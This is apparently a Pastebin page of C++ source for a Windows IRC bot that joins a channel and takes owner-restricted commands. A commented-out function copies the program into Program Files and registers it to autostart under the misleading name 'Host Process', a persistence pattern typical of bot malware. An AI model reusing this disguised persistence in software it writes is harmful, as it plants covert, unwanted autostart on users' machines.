Advertisement
Guest User

Untitled

a guest
Sep 22nd, 2017
86
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.18 KB | None | 0 0
  1. #include <iostream>
  2. #include <winsock2.h>
  3. #include <cstring>
  4. #include <ctime>
  5. #include <conio.h>
  6. #include <windows.h>
  7. #include <sstream>
  8. #include <tchar.h>
  9. #define NETWORK_ERROR -1
  10. #define NETWORK_OK 0
  11. #define BOT_VERSION 1
  12.  
  13. using namespace std;
  14.  
  15. char buffer[1024*8];
  16. time_t czas;
  17. string kanal ="#eopolska ";
  18. string userpacket = "USER bot bot bot bot \r\n";
  19. string nickpacket = "NICK HNCDroid";
  20. string hostpacket = "irc.blolylo.net";
  21. string identifypacket = "PRIVMSG NickServ IDENTIFY loldroid \r\n";
  22. string joinpacket = "JOIN "+kanal+"\r\n";
  23. string pingpacket = "PRIVMSG "+kanal+"PONG \r\n";
  24. string leavepacket = "QUIT "+kanal+"\r\n";
  25. string hellopacket = "PRIVMSG "+kanal+"Hello! \r\n";
  26. string byepacket = "PRIVMSG "+kanal+"Bye! \r\n";
  27. string timepacket = "PRIVMSG "+kanal;
  28. string cmdpacket ="PRIVMSG "+kanal+"Done. \r\n";
  29. string pattpacket ="PRIVMSG "+kanal+"CYCKI :) \r\n";
  30. string pattpacket1 ="PRIVMSG "+kanal+"Nie smutaj :( \r\n";
  31. string pattpacket2 ="PRIVMSG "+kanal+"Hinca nie ma :3 \r\n";
  32. char *pch;
  33. WORD sockVersion;
  34. WSADATA wsaData;
  35. int nret;
  36. LPHOSTENT hostEntry;
  37. SOCKET ircsocket;
  38. SOCKADDR_IN serverInfo;
  39. string sciezka;
  40. string locpacket;
  41. int nickid;
  42. ostringstream ss;
  43.  
  44. bool Connect(string hostpacket, string userpacket, string nickpacket)
  45. {
  46. srand((int)time(NULL));
  47. nickid=rand()%9999+1;
  48. ss << nickid;
  49. nickpacket+= ss.str();
  50. nickpacket+=" \r\n";
  51. // losowanie id nicku
  52. sockVersion = MAKEWORD(2,2);
  53. WSAStartup(sockVersion, &wsaData);
  54.  
  55. hostEntry = gethostbyname(hostpacket.c_str());
  56.  
  57. if(!hostEntry){
  58. nret = WSAGetLastError();
  59. cout<<"Error: %d"<<nret<<endl;
  60. WSACleanup();
  61. return NETWORK_ERROR;
  62. }
  63.  
  64. ircsocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  65. if(ircsocket == INVALID_SOCKET){
  66. nret = WSAGetLastError();
  67. cout<<"Error: %d"<<nret<<endl;;
  68. WSACleanup();
  69. return NETWORK_ERROR;
  70. }
  71.  
  72. serverInfo.sin_family = AF_INET;
  73. serverInfo.sin_addr = *((LPIN_ADDR)*hostEntry->h_addr_list);
  74. serverInfo.sin_port = htons(6667);
  75.  
  76. nret = connect(ircsocket, (LPSOCKADDR)&serverInfo,
  77. sizeof(struct sockaddr));
  78.  
  79. if(nret == SOCKET_ERROR){
  80. nret = WSAGetLastError();
  81. cout<<"Error: %d"<< nret<<endl;;
  82. WSACleanup();
  83. return NETWORK_ERROR;
  84. }
  85. send(ircsocket, userpacket.c_str(), strlen(userpacket.c_str()), 0);
  86. cout<<userpacket.c_str()<<endl;
  87. send(ircsocket, nickpacket.c_str(), strlen(nickpacket.c_str()), 0);
  88. cout<<nickpacket.c_str()<<endl;
  89. }
  90. void PING()
  91. {
  92. pch = strstr(buffer, "PING :");
  93. if (pch) {
  94. strncpy(pch, "PONG ", 6);
  95. for (int i = 5; i < strlen(pch); i++)
  96. pch[i] = pch[i+1];
  97. send(ircsocket, pch, strlen(pch), 0);
  98. cout<< pch<<endl;
  99. }
  100. }
  101. void Join(string joinpacket)
  102. {
  103. if(strstr(buffer, "001") != NULL)
  104. {
  105. send(ircsocket, joinpacket.c_str(), strlen(joinpacket.c_str()), 0);
  106. cout<<joinpacket.c_str()<<endl;
  107. send(ircsocket, hellopacket.c_str(),strlen(hellopacket.c_str()), 0);
  108. cout<<hellopacket.c_str()<<endl;
  109. send(ircsocket, identifypacket.c_str(), strlen(identifypacket.c_str()), 0);
  110. cout<<identifypacket.c_str()<<endl;
  111. }
  112. }
  113. /*
  114. void COPY()
  115. {
  116. sciezka=argv[0];
  117. locpacket="PRIVMSG "+kanal+sciezka+" \r\n";
  118. //kopiowanie pliku
  119. CopyFile(argv[0],"C:\\Program Files\\HNCDroid.exe",true);
  120. //dodanie do rejestru
  121.  
  122. TCHAR exepath[MAX_PATH];
  123. GetModuleFileName(0, exepath, MAX_PATH);
  124. HKEY hKey;
  125. LONG lnRes = RegOpenKeyEx(
  126. HKEY_CURRENT_USER,
  127. "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
  128. 0,KEY_WRITE,
  129. &hKey
  130. );
  131. if( ERROR_SUCCESS == lnRes )
  132. {
  133. lnRes = RegSetValueEx(hKey,
  134. "Host Process",
  135. 0,
  136. REG_SZ,
  137. (BYTE*) exepath,
  138. _tcslen(exepath));
  139. }
  140.  
  141. }
  142. */
  143. void Commands()
  144. {
  145. if(strstr(buffer, "!time") != NULL)
  146. {
  147. send(ircsocket, timepacket.c_str(), strlen(timepacket.c_str()), 0);
  148. cout<<timepacket.c_str()<<endl;
  149. }
  150.  
  151. if(strstr(buffer, ":Hincu!Hincu@ajh") != NULL)
  152. {
  153. if(strstr(buffer, "!shutdown") != NULL)
  154. {
  155. send(ircsocket, byepacket.c_str(), strlen(byepacket.c_str()),0);
  156. cout<<byepacket.c_str()<<endl;
  157. send(ircsocket, leavepacket.c_str(), strlen(leavepacket.c_str()), 0);
  158. cout<<leavepacket.c_str()<<endl;
  159. }
  160. }
  161. }
  162. bool Close()
  163. {
  164. closesocket(ircsocket);
  165. WSACleanup();
  166. return 0;
  167. }
  168.  
  169. int main(int argc, char* argv[]) {
  170. Connect(hostpacket,userpacket,nickpacket);
  171. while(true){
  172. time (& czas);
  173. timepacket+= ctime (&czas);
  174. timepacket+=" \n";
  175. memset(buffer, 0, 1024*8);
  176. recv(ircsocket, buffer, 1024*8, 0);
  177. cout<<buffer<<endl;;
  178. PING();
  179. Join(joinpacket);
  180. Commands();
  181. if ( strlen(buffer) == 0)
  182. break;
  183. else {
  184. }
  185. }
  186. Close();
  187. getch();
  188. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement